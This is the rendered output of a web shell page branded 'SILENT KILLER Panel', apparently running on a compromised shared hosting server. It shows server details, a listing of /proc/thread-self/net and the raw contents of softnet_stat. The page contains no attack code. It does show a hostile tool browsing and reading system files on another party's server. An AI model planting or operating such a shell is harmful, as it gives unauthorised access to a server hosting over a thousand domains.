SILENT KILLERPanel

Current Path: > > proc > thread-self > net


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0555 ]

Files and Folders in: //proc/thread-self/net

NameTypeSizeLast ModifiedActions
dev_snmp6 Directory - -
netfilter Directory - -
nfsfs Directory - -
rpc Directory - -
stat Directory - -
anycast6 File 0 bytes September 19 2025 20:26:58.
arp File 0 bytes September 19 2025 20:26:58.
connector File 0 bytes September 19 2025 20:26:44.
dev File 0 bytes September 19 2025 20:26:58.
dev_mcast File 0 bytes September 19 2025 20:26:58.
fib_trie File 0 bytes September 19 2025 20:26:58.
fib_triestat File 0 bytes September 19 2025 20:26:58.
icmp File 0 bytes September 19 2025 20:26:58.
icmp6 File 0 bytes September 19 2025 20:26:58.
if_inet6 File 0 bytes September 19 2025 20:26:58.
igmp File 0 bytes September 19 2025 20:26:58.
igmp6 File 0 bytes September 19 2025 20:26:58.
ip6_flowlabel File 0 bytes September 19 2025 20:26:58.
ip6_mr_cache File 0 bytes September 19 2025 20:26:58.
ip6_mr_vif File 0 bytes September 19 2025 20:26:58.
ip_mr_cache File 0 bytes September 19 2025 20:26:58.
ip_mr_vif File 0 bytes September 19 2025 20:26:58.
ip_tables_matches File 0 bytes September 19 2025 20:26:44.
ip_tables_names File 0 bytes September 19 2025 20:26:58.
ip_tables_targets File 0 bytes September 19 2025 20:26:44.
ipv6_route File 0 bytes September 19 2025 20:26:58.
mcfilter File 0 bytes September 19 2025 20:26:58.
mcfilter6 File 0 bytes September 19 2025 20:26:58.
netlink File 0 bytes September 19 2025 20:26:58.
netstat File 0 bytes September 19 2025 20:26:58.
nf_conntrack File 0 bytes September 19 2025 20:26:58.
nf_conntrack_expect File 0 bytes September 19 2025 20:26:58.
packet File 0 bytes September 19 2025 20:26:58.
protocols File 0 bytes September 19 2025 20:26:58.
psched File 0 bytes September 19 2025 20:26:44.
ptype File 0 bytes September 19 2025 20:26:58.
raw File 0 bytes September 19 2025 20:26:58.
raw6 File 0 bytes September 19 2025 20:26:58.
route File 0 bytes September 19 2025 20:26:58.
rt6_stats File 0 bytes September 19 2025 20:26:58.
rt_acct File 0 bytes September 19 2025 20:26:44.
rt_cache File 0 bytes September 19 2025 20:26:44.
snmp File 0 bytes September 19 2025 20:26:58.
snmp6 File 0 bytes September 19 2025 20:26:58.
sockstat File 0 bytes September 19 2025 20:26:58.
sockstat6 File 0 bytes September 19 2025 20:26:58.
softnet_stat File 0 bytes September 19 2025 20:26:44.
tcp File 0 bytes September 19 2025 20:26:58.
tcp6 File 0 bytes September 19 2025 20:26:58.
udp File 0 bytes September 19 2025 20:26:58.
udp6 File 0 bytes September 19 2025 20:26:58.
udplite File 0 bytes September 19 2025 20:26:58.
udplite6 File 0 bytes September 19 2025 20:26:58.
unix File 0 bytes September 19 2025 20:26:58.
xfrm_stat File 0 bytes September 19 2025 20:26:58.

Reading File: //proc/thread-self/net/softnet_stat

21e5f61a 00000000 0011536d 00000000 00000000 00000000 00000000 00000000 00000000 098a158f 00000000 00000000 00000000
2263dc8b 00000000 0011cc5a 00000000 00000000 00000000 00000000 00000000 00000000 09a6cc24 00000000 00000000 00000001
228c5263 00000000 0011d829 00000000 00000000 00000000 00000000 00000000 00000000 09af46c7 00000000 00000000 00000002
229c277d 00000000 0011be89 00000000 00000000 00000000 00000000 00000000 00000000 09b7d619 00000000 00000000 00000003
20bccece 00000000 001235b0 00000000 00000000 00000000 00000000 00000000 00000000 07ef31d5 00000000 00000000 00000004
2075a4a1 00000000 00115c42 00000000 00000000 00000000 00000000 00000000 00000000 07e9e612 00000000 00000000 00000005
201ec947 00000000 0011664f 00000000 00000000 00000000 00000000 00000000 00000000 07d4c6a6 00000000 00000000 00000006
20724738 00000000 00119644 00000000 00000000 00000000 00000000 00000000 00000000 07eec425 00000000 00000000 00000007
224de3dd 00000000 00118010 00000000 00000000 00000000 00000000 00000000 00000000 09ac1b40 00000000 00000000 00000008
222c0ede 00000000 001177bc 00000000 00000000 00000000 00000000 00000000 00000000 099eeb0a 00000000 00000000 00000009
222ee371 00000000 00117b92 00000000 00000000 00000000 00000000 00000000 00000000 09a3691f 00000000 00000000 0000000a
21eb22b7 00000000 00116467 00000000 00000000 00000000 00000000 00000000 00000000 098f0c69 00000000 00000000 0000000b
225cff46 00000000 0011c867 00000000 00000000 00000000 00000000 00000000 00000000 09a8682b 00000000 00000000 0000000c
20cf81d6 00000000 000602cb 00000000 00000000 00000000 00000000 00000000 00000000 003e189b 00000000 00000000 0000000d
21d17ed4 00000000 00120976 00000000 00000000 00000000 00000000 00000000 00000000 0999bb63 00000000 00000000 0000000e
21e7eb04 00000000 00112b8e 00000000 00000000 00000000 00000000 00000000 00000000 098c2a2d 00000000 00000000 0000000f
21cff0d3 00000000 0010adea 00000000 00000000 00000000 00000000 00000000 00000000 0953d2f8 00000000 00000000 00000010
21d46473 00000000 001116ba 00000000 00000000 00000000 00000000 00000000 00000000 098cf43b 00000000 00000000 00000011
23ae72fa 00000000 001247d6 00000000 00000000 00000000 00000000 00000000 00000000 0a0c90cd 00000000 00000000 00000012
21f7ee71 00000000 00116ffa 00000000 00000000 00000000 00000000 00000000 00000000 098a5336 00000000 00000000 00000013
1f9ba946 00000000 0011060e 00000000 00000000 00000000 00000000 00000000 00000000 07b6aa66 00000000 00000000 00000014
1faba931 00000000 00113abd 00000000 00000000 00000000 00000000 00000000 00000000 07b26e7e 00000000 00000000 00000015
1fa48910 00000000 00114b75 00000000 00000000 00000000 00000000 00000000 00000000 07b68c0f 00000000 00000000 00000016
1f90e610 00000000 00110568 00000000 00000000 00000000 00000000 00000000 00000000 07b69fd8 00000000 00000000 00000017

SILENT KILLER Tool